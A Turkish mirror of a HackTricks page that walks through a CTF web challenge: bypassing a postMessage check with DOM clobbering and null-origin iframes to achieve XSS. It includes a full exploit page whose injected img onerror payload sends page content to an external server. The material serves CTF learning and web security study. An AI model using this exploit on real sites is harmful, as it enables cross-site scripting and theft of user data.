mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
95 lines
6.5 KiB
Markdown
95 lines
6.5 KiB
Markdown
# Bypassing SOP with Iframes - 2
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
## SOP-2'de Iframe'ler
|
||
|
||
Bu [**zorluk**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) için [**çözümde**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) önceki bölümdeki benzer bir yöntem öneriyor. Hadi kontrol edelim.
|
||
|
||
Bu zorlukta saldırganın aşması gereken şey:
|
||
|
||
```javascript
|
||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||
```
|
||
|
||
Eğer yaparsa, **innerHTML** ile temizlenmeden sayfaya yazılacak HTML içeriği ile birlikte bir **postmessage** gönderebilir ve böylece **XSS** saldırısı gerçekleştirebilir.
|
||
|
||
İlk kontrolü atlatmanın yolu, **window.calc.contentWindow**'u **undefined** ve **e.source**'u **null** yapmaktır:
|
||
|
||
* **window.calc.contentWindow** aslında **document.getElementById("calc")**'tır. **document.getElementById**'i ile değiştirebilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/#dom-clobbering)-, varsayılan durumunda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
|
||
* Bu nedenle, **document.getElementById("calc")**'i ile değiştirebilirsiniz. Böylece **window.calc** **undefined** olacaktır.
|
||
* Şimdi, **e.source**'un **undefined** veya **null** olması gerekmektedir (çünkü `==` yerine `===` kullanıldığından, **null == undefined** **True**'dır). Bunu elde etmek "kolaydır". Bir **iframe** oluşturup ondan bir **postMessage** gönderir ve hemen ardından iframe'i **kaldırırsanız**, **e.origin** **null** olacaktır. Aşağıdaki kodu kontrol edin:
|
||
|
||
```javascript
|
||
let iframe = document.createElement('iframe');
|
||
document.body.appendChild(iframe);
|
||
window.target = window.open("http://localhost:8080/");
|
||
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||
document.body.removeChild(iframe); //e.origin === null
|
||
```
|
||
|
||
**İkinci kontrolü** atlamak için **`token`** değerini `null` olarak göndermek ve **`window.token`** değerini **`undefined`** yapmak gerekmektedir:
|
||
|
||
* `token` değerini `null` olarak postMessage ile göndermek basittir.
|
||
* **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırır. Unutmayın ki **`null`** kökenli sayfalarda **`document.cookie`**'ye erişim her zaman bir **hata** tetikler. Bu, **`window.token`**'ın **`undefined`** değerine sahip olmasını sağlar.
|
||
|
||
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibi olmuştur:
|
||
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>
|
||
// Abuse "expr" param to cause a HTML injection and
|
||
// clobber document.getElementById and make window.calc.contentWindow undefined
|
||
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
||
|
||
function start(){
|
||
var ifr = document.createElement('iframe');
|
||
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
||
// this null origin will document.cookie trigger an error and window.token will be undefined
|
||
ifr.sandbox = 'allow-scripts allow-popups';
|
||
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
||
|
||
document.body.appendChild(ifr);
|
||
|
||
function hack(){
|
||
var win = open('https://obligatory-calc.ctf.sekai.team');
|
||
setTimeout(()=>{
|
||
parent.postMessage('remove', '*');
|
||
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
||
// token=null equals to undefined and e.source will be null so null == undefined
|
||
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
||
},1000);
|
||
}
|
||
|
||
// this removes the iframe so e.source becomes null in postMessage event.
|
||
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
||
}
|
||
setTimeout(start, 1000);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
|
||
|
||
</details>
|